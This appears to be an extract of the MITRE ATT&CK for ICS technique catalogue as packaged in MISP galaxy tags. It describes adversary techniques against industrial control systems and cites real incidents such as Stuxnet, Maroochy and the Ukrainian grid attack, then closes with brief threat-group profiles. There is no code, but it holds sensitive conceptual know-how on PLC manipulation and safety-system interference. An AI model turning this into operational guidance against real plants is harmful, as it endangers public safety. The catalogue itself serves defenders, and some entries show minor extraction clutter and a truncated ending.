Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.

The tag is: *misp-galaxy:mitre-ics-techniques="I/O Module Discovery"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Indicator Removal on Host

Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Indicator Removal on Host"*

Table 4698. Table References

Internet Accessible Device

Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.

The tag is: *misp-galaxy:mitre-ics-techniques="Internet Accessible Device"*

https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B

Location Identification

Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including

geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries¹. While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Location Identification"*

Loss of Productivity and Revenue

Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Productivity and Revenue"*

https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760

Loss of Safety

Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.⁵⁶⁷ Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.

Loss of View

Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.

Man in the Middle

Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message

The tag is: *misp-galaxy:mitre-ics-techniques="Man in the Middle"*

Manipulate I/O Image

Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulate I/O Image"*

Manipulation of Control

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulation of Control"*

Table 4708. Table References

Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.[Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.]

Masquerading

Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.

The tag is: *misp-galaxy:mitre-ics-techniques="Masquerading"*

Table 4709. Table References

https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Modify Alarm Settings

Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the

central computer.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Alarm Settings"*

Modify Control Logic

Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Control Logic"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Modify Parameter

Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

Module Firmware

Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the

following: Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.

Monitor Process State

Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.

The tag is: *misp-galaxy:mitre-ics-techniques="Monitor Process State"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Connection Enumeration

Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Connection Enumeration"*

Table 4715. Table References

Network Service Scanning

Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Service Scanning"*

Table 4716. Table References

Links

<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf>

Network Sniffing

Network sniffing is the practice of using a network interface on a computer system to monitor or capture information¹ regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Sniffing"*

Point & Tag Identification

Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables.¹ Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.

The tag is: *misp-galaxy:mitre-ics-techniques="Point & Tag Identification"*

Program Download

Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Download"*

Program Organization Units

Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepend infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Organization Units"*

Table 4720. Table References

Links
Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.[Stuxnet infects PLCs with different code depending on the characteristics of the target system. Program Upload

Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Upload"*

Table 4721. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Project File Infection

Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals.³ Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.

The tag is: *misp-galaxy:mitre-ics-techniques="Project File Infection"*

Remote File Copy

Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote File Copy"*

Remote System Discovery

Remote System Discovery is the process of identifying the presence of hosts on a network¹, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote

System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote System Discovery"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Replication Through Removable Media

Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.⁹ An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.

Rogue Master Device

Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.

The tag is: *misp-galaxy:mitre-ics-techniques="Rogue Master Device"*

<https://technet.microsoft.com/en-us/library/ee791851.aspx>

Role Identification

Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device.

The tag is: *misp-galaxy:mitre-ics-techniques="Role Identification"*

Rootkit

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the

system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

The tag is: *misp-galaxy:mitre-ics-techniques="Rootkit"*

https://technet.microsoft.com/en-us/library/ee791851.aspx

Screen Capture

Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Screen Capture"*

Scripting

Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.

The tag is: *misp-galaxy:mitre-ics-techniques="Scripting"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Serial Connection Enumeration

Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.

The tag is: *misp-galaxy:mitre-ics-techniques="Serial Connection Enumeration"*

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.

The tag is: *misp-galaxy:mitre-ics-techniques="Service Stop"*

Spearphishing Attachment

Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.

The tag is: *misp-galaxy:mitre-ics-techniques="Spearphishing Attachment"*

Standard Application Layer Protocol

Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Standard Application Layer Protocol"*

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Supply Chain Compromise

Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target

environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).

The tag is: *misp-galaxy:mitre-ics-techniques="Supply Chain Compromise"*

https://www.f-secure.com/weblog/archives/00002718.html

System Firmware

System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprogramming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.

The tag is: *misp-galaxy:mitre-ics-techniques="System Firmware"*

Theft of Operational Information

Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data.

The tag is: *misp-galaxy:mitre-ics-techniques="Theft of Operational Information"*

Unauthorized Command Message

Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Unauthorized Command Message"*

User Execution

Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software

The tag is: *misp-galaxy:mitre-ics-techniques="User Execution"*

<https://securelist.com/bad-rabbit-ransomware/82851/>

Utilize/Change Operating Mode

Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses.

The tag is: *misp-galaxy:mitre-ics-techniques="Utilize/Change Operating Mode"*

Table 4740. Table References

Links

<https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html>

Valid Accounts

Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukrainian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications.² The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Valid Accounts"*

Wireless Compromise

Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device.¹² Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective.³ The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram's network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals

The tag is: *misp-galaxy:mitre-ics-techniques="Wireless Compromise"*

The White Company - G0089

[The White Company](<https://attack.mitre.org/groups/G0089>) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)

Dragonfly 2.0 - G0074

[Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>) and [Dragonfly](<https://attack.mitre.org/groups/G0035>), but there is sufficient evidence to lead to these being tracked as two separate groups. Cobalt Group - G0080

[Cobalt Group](<https://attack.mitre.org/groups/G0080>) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](<https://attack.mitre.org/groups/G0080>) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](<https://attack.mitre.org/groups/G0080>) and both the malware [Carbanak](<https://attack.mitre.org/software/S0030>) and the group [Carbanak](<https://attack.mitre.org/groups/G0008>). Deep Panda - G0009

[Deep Panda](<https://attack.mitre.org/groups/G0009>) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](<https://attack.mitre.org/groups/G0009>). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](<https://attack.mitre.org/groups/G0009>) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](<https://attack.mitre.org/groups/G0009>) and [APT19](<https://attack.mitre.org/groups/G0073>) as the same group, but it is unclear from open source information if the groups are the same. Lazarus Group - G0032

